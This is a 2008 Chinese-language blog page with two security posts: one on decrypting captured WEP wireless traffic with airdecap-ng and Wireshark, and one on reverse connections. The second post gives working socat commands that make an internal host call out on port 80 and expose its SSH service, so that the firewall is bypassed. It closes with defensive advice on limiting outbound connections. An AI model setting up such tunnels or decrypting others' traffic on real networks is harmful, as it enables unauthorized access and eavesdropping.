搜尋此網誌

顯示具有 Wireshark 標籤的文章。 顯示所有文章
顯示具有 Wireshark 標籤的文章。 顯示所有文章

2008年11月26日 星期三

無線網路封包擷取

在之前的文章 - WEP Cracking - 中我談到如何破解WEP的金鑰。破解金鑰之後有甚麼用途?
  1. 可以加入無線網路成為其中的一份子,然後"使用"其內部的相關網路資源。
  2. 可以透過此一無線網路對其他網際網路的主機進行"非法存取"。
  3. 可以竊取此一無線網路上所傳遞的資訊。
  4. 可以監看此一無線網路上的使用狀況。
基本上3跟4是類似的事情,不過4是屬於合法的使用,而3則屬於非法的行為。在此我不鼓勵也不從事非法的行為(項目1-3),所以我這次要談的是4的應用。

還記得上次我們在破解WEP金鑰的時候,有產生一個封包的紀錄檔 (wifi-01.cap)。這個檔案紀錄了當時所擷取到的封包,只不過封包的內容是經過WEP加密的。aircrack-ng有一個工具,可以幫我們進行解密的動作。指令為
airdecap-ng -e 00:XX:XX:XX:XX:3C -w 61xxxxxxxxxxxxxxxxxxxxxxxx wifi-01.cap
其中61xxxxxxxxxxxxxxxxxxxxxxxx就是WEP的金鑰,唯必須使用16進位的方式加以表示。解密後的封包會寫入wifi-01-dec.cap,這個檔案就可以直接用packet analyzer(如wireshark)打開並觀看到其中的原始內容了。

不過上述方式需要手動執行兩個分別的動作,而且不能夠即時看到封包內容,很明顯跟我們熟悉的方式有一段差距。幸運的是,有不少工具可以即時對WEP進行解密,並顯示封包的內容,其中包含最好用的免費軟體之一 - wireshark。實際上,wireshark不只能夠解開WEP的加密,也可以解開WPA的加密方式。方法如下:

  1. 打開wireshark。
  2. 選擇Edit->Preferences,其中左方有一個IEEE 802.11的設定畫面,把我們所知道的WEP金鑰鍵入,同樣要使用16進位的格式。
  3. 選擇"OK"完成設定。
  4. 進行監測,可以即時看到解密後的封包。
  5. 當封包數量過多而你只想要觀看單一電腦的封包,同樣可以透過filter的方式。如果你使用Capture Filter的話,要記得必須使用MAC Address的方式加以設定,而不能使用IP Address。那是因為解密前只有MAC Address的資訊可以取得。

2008年11月24日 星期一

反向連結 (Reverse Connection)

傳統上,保護電腦主機的方式最基本的就是關閉不必要的服務,並且透過防火牆等網路設備避免外界連結非公開的服務。甚至,有些電腦主機並沒有所謂公開的IP位址(Public IP Address),進一步封鎖外界直接加以連結的管道。也就是說,在網際網路上想要連結到某個電腦主機,除了必須知道特定的公開IP位址(可能在電腦主機本身,也可能在NAT之類的設備),中間還必須沒有其他的設備加以阻擋。所以我們可以透過前述的方式避免不相干的人士(嘗試)連結到我們的電腦主機,從事破壞性的工作。

除了限制外面的人連到內部的電腦主機,更嚴謹的作法是限制電腦主機主動對外進行連線。因為一般的電腦主機僅執行特定的功能,所以對外進行連線動作通常是可以事先預期的,有些甚至是可以完全不需要對外連線。限制的方法可以從網路端著手(如網路型的防火牆),也可以從電腦主機本身加以限制(如Linux下的iptables,或是其他主機型的防火牆)。從網路上著手當然有其方便性,而且有集中式管理的好處,但是如果要符合每個電腦主機的需求,可能會產生過多的規則而影響了防火牆的效能。所以就像所有的安全機制一樣,我們可以同時從網路端與主機端著手,以達到截長補短之效。

雖然理論上幾乎大部分的電腦主機不需要主動對外連線,但是因為現在包含作業系統在內,大多都有主動線上更新的機制,所以除非你有在內部網路建置更新的環境,否則都至少會有連到更新網站的需求。而結果是,只要開放一個Port,透過Tunneling的技術,幾乎可以連到外部所有的服務。更甚者,透過Reverse Connection/Reverse Tunneling的方法,可以讓外界連到內部電腦主機上任意的服務。

一般的網路應用在進行連結時,都是由使用服務的電腦(又稱之為Client)向提供服務的電腦(又稱之為Server)發出連線的請求,待Server回應後才開始後續的動作(如驗證、傳送特定內容等)。而Reverse Connection則是將這樣的應用反過來,讓提供服務的電腦主動對使用服務的電腦進行連線的動作。這樣作有甚麼用?最簡單的應用就是可以讓駭客或是不懷好意的員工隨時從外部進入你的電腦主機搞鬼,甚至是搬"一些"資料出來。

這類工具早期以netcat為首,不過netcat已經很久沒有維護了,所以接下來我用socat這個軟體進行一個簡單的示範。基本上,不管是netcat或是socat,本身並沒有隱藏的功能,所以比較容易從主機上被發現其存在或正在執行中。至於網路上的流量,可以透過一些加密的協定(如SSH)來達到避免被偵測的目的。以下就開始說明此一範例:

1. 準備兩台電腦,一台IP是192.168.0.11,另外一台10.10.10.104。雖然兩台電腦都屬於Private IP Address,但是我的測試環境是將192.168.0.11當作是Public IP Address,也就是10.10.10.104這台電腦可以直接連到192.168.0.11,但是192.168.0.11卻連不到10.10.10.104。


2. 在10.10.10.104這台電腦執行
socat -d -d -d -t5 tcp:192.168.0.11:80,forever,intervall=10,fork tcp:localhost:22
此指令會讓10.10.10.104這台電腦不斷嘗試連到192.168.0.11的TCP port 80(也就是一般Web使用的Port,通常在企業是允許對外使用的),當連結成功後會連到本身的SSH服務(TCP Port 22)。

3. 在192.168.0.11這台電腦執行
socat -d -d -d tcp-l:8080,reuseaddr,bind=192.168.0.11,fork tcp-l:80,bind=192.168.0.11,reuseaddr,retry=10
此指令會讓192.168.0.11這台電腦使用TCP Port 8080讓其他電腦進行連結,當連結上後會連結到TCP Port 80。而因為TCP Port 80已經被10.10.10.104這台電腦進行連結並轉至本身的SSH服務,所以等於讓其他電腦直接連結到10.10.10.104的SSH服務。

4. 使用SSH連線軟體(如Putty),對192.168.0.11的TCP Port 8080進行SSH連線。當出現登入畫面後要打入10.10.10.104主機的帳號與密碼,而非192.168.0.11的帳號。登入成功後,透過ifconfig確認已經進入10.10.10.104這台主機。



5. 使用wireshark查看,確認之間傳遞的封包都經過加密處理。


經由上述簡單的範例,我們可以看到如何有效繞過防火牆的機制,連線到內部主機的服務。所以我們除了限制電腦主機可以主動對外進行連線的Port外,最好也加上允許連線的外部IP位址。此外,不管有沒有限制可以連線的IP位址,對於主機對外連線的使用,最好加以記錄。另外,當然也包含了主機本身的防護(如執行程式/Rootkit的偵測)。老話一句,多管齊下才是邁向更為安全之道。

About